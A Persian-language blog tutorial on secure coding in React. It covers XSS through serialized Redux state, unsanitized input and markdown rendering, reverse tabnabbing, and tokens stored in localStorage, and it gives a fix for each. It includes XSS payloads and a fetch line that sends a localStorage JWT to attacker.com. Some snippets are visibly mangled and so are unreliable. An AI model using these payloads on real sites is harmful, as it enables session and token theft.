چگونه در ری اکت کد امن بنویسیم

rationalappdev.com
rationalappdev.com

ری اکت کتابخانه برای ساخت رابط کاربری است که توسط فیسبوک و جامعه کاربری آن توسعه پیدا می کند.

برای مثال در معماری MVC از ری اکت معمولا در قسمت V یا View استفاده می شود.

از قابلیت های react می توان به موارد زیر اشاره کرد:

  • سینتکس JSX:استفاده از این سنتکس الزامی نیست ولی استفاده از آن در جهت استفاده هر چه ساده تر html و xhtml در جاوااسکریپت استفاده از آن پیشنهاد می شود.
  • کامپوننت ها: اگر در ری اکت به همه چیز را کامپوننت در نظر بگیرید قطعا در آینده می توانید بهتر از کد خود نگهداری کنید.
  • پترن Flux و جریان یک طرفه داده( Unidirectional data flow ):جریان یک طرفه داده به این معنی که تمام داده های در برنامه یک life-cycle را دنبال می کنند که این موضوع logic برنامه شما را قابل فهم تر می کند.

از مزیت های ری اکت می توان به موارد زیر اشاره کرد:

  • استفاده از DOM مجازی به عنوان یک object باعث بهبود کارایی برنامه نسبت به استفاده از DOM معمولی می شود
  • می توان در سمت client-side و server-side و همچنین با سایر فریمورک ها استفاده کرد.
  • کامپوننت و data pattern باعث بهبود خوانایی می شود; همچنین باعث کمک به نگهداری از برنامه های بزرگ می شود.

۱- فرض کنید قرار است html را با فرمت JSON و توسط کتابخانه ای مانند Redux به client بفرستید خب طبیعتا تابع JSON.stringify را فراخوانی می کنید. همین موضوع باعث آسیب پذیری می شود مانند مثال زیر:

function renderFullPage(html,preloadedState){
    return `
        <!doctype html>
            <html>
               <head>
                    <title>Redux Universal Example</title>
                </head>
                <body>
                    <div id="root">${html}</div>  
                        window.__PRELOADED_STATE__=${JSON.stringify(preloadedState)}  
                        <script src="/static/bundle.js">
                  </body>
               </html>
		`
}

ما اگر مقادیر JSON را به شکل زیر تغییر دهیم:

  user: {
    username: "NodeSecurity",
    bio: "asalert('You have an XSS vulnerability!')"
    }

ممکن است xss رخ بدهد.

برای جلوگیری از این اتفاق می توان مقادیر ارسالی را serialize کرد.

برای این کار از ماژول serialize-javascript استفاده می کنیم.

کد بهبود یافته:

var serialize = require("serialize-javascript")
function renderFullPage(html,preloadedState){
    return `
        <!doctype html>
            <html>
                <head>
                     <title>Redux Universal Example</title>
                </head>
                <body>
                    <div id="root">${html}</div> 
                    window.__PRELOADED_STATE__=${serialize(preloadedState, {isJSON:true})}          
                     <script src="/static/bundle.js">
                  </body>
               </html>
 }

با این کار مثلا تگ <script/>ما به این شکل می شود: \\u003C\\u002Fscript\\u003E

۲-فرض کنید طلاعاتی را از کاربر می گیرید و با آن به طور مستقیم کار می کنید

مثلا آیتم وارد شده از طرف کاربر را حذف می کنید

حال اگر اطلاعاتی که کاربر وارد کرده است به این شکل باشد

"><svg =confirm(1)>

موقع فراخوانی عنوان وارد شده اگر هیچ sanitization صورت نگرفته باشد احتمالا مانند تصویر زیر xss رخ بدهد.

flexport
flexport


برای جلوگیری بهتر از کلیه تگ هایی برای xss استفاده می شود را به وسیله ماژول js-xss تصفیه کنید( Sanitize)کنید.

۳-اگر تگ a را بدون ست کردن "rel="noopener noreferrer در صفحه قرار دهید اتکر می تواند صفحه ای که از آن لینک شده است را با window.opener تغییر دهد.

flexport
flexport

۴-در ری اکت اگر بخواهیم مقادیری به اصطلاح Ritch text را نمایش دهیم از showdown استفاده می کنیم که صورت پیش فرض تگ های Html را sanitize نمی کند.

یک نمونه Rich text:

#This is my first post
##And, perhaps, the last one
<img src=x =alert('NoCSP') />

نمایش آن در ری اکت:

convertToMarkdown (markdown){
    const converter = new showdown.Converter()
    const data = converter.makeHtml(markdown)
    return {__html: data}
  }

تگ مربوطه:

<div dangerouslyHTML={this.convertToMarkdown(this.state.userinput)}></div>

همین کافی است تا مثلا با وارد کردن مقدار زیر DOM-XSS اتفاق بی افتد.

alert(1)

۵-ری اکت به طور پیش فرض هیچ wrapper برای localStorage ندارد و شما می توانید از طریق کتابخانه هایی مانند store,js یا cross-storage و... این کار را انجام دهید.

مشکل از آنجا شروع می شود که برنامه ها JWT یا OAuth token یا Api key ها را در localStorage ذخیره می کنند و اطلاعات حساس مثل موارد بالا را موقع logout پاک نمی کنند.

اگر موارد بالا وجود داشته باشد با payload زیر xss احتمالا اتفاق خواهد افتاد:

fetch('http://attacker.com/logger?token='+localStorage.getItem('jwtToken'));

راه حل این است که ذخیره مواردی مانند JWT در localStorage یا sessi را در Cookie انجام دهیم.

منابع




معذرت بابت کم و کاستی های فراوان این مطلب
خیلی خوشحال میشوم نظرات خود را اینجا بگذارید

با تشکر از شما